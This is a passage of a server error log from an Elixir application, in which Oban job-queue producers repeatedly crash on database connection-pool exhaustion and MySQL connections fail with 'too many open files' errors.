"webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.88507>, refresh_timer: #Reference<0.2525715032.1068498948.88503>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:56:23.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1042ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:56:11.245099Z], limit: 50, uuid: "b9bcc041-7cbc-4a31-99d5-f1806819eddc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:56:11.245105Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.231718>, refresh_timer: #Reference<0.2525715032.1099431938.74859>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:56:23.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 832ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:56:11.242249Z], limit: 20, uuid: "db3c7fd1-6f1c-4329-bd82-fa1b1aa11635", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:56:11.242254Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.88506>, refresh_timer: #Reference<0.2525715032.1068498948.88504>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:56:23.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1091ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:56:11.242509Z], limit: 10, uuid: "5afd6302-078b-4078-a17a-7ccd9db39e88", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:56:11.242515Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.231721>, refresh_timer: #Reference<0.2525715032.1068498948.88505>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:56:24.707000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=2.0ms idle=1055.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sun Sep  6 00:56:28.180000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:56:31.292000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:56:31.461000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:56:35.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 829ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:56:23.239630Z], limit: 5, uuid: "a3998d62-c696-49a8-8cb3-e269cfaaee45", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:56:23.239636Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.61775>, refresh_timer: #Reference<0.2525715032.1077673987.61745>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:56:35.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1075ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:56:23.239186Z], limit: 5, uuid: "507bd3c7-9bf6-41a4-a6ae-c79170371f62", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:56:23.239192Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.232141>, refresh_timer: #Reference<0.2525715032.1077673987.61740>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:56:35.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1003ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:56:23.240310Z], limit: 10, uuid: "30c0b87d-49f6-409a-918c-a52784b87eec", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:56:23.240318Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.61774>, refresh_timer: #Reference<0.2525715032.1077673987.61764>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:56:35.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1054ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:56:23.240133Z], limit: 20, uuid: "be2197df-ddaf-4a68-9ecc-85b9dbc8686b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:56:23.240138Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.61773>, refresh_timer: #Reference<0.2525715032.1077673987.61757>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:56:35.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1013ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:56:23.240527Z], limit: 50, uuid: "325e2b7e-ba0d-44cd-a5fc-08a4eab11615", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:56:23.240535Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.232140>, refresh_timer: #Reference<0.2525715032.1099431938.75011>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:56:35.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 831ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:56:23.239373Z], limit: 3, uuid: "b367b8e3-48d3-4b21-acf3-92af6e16455a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 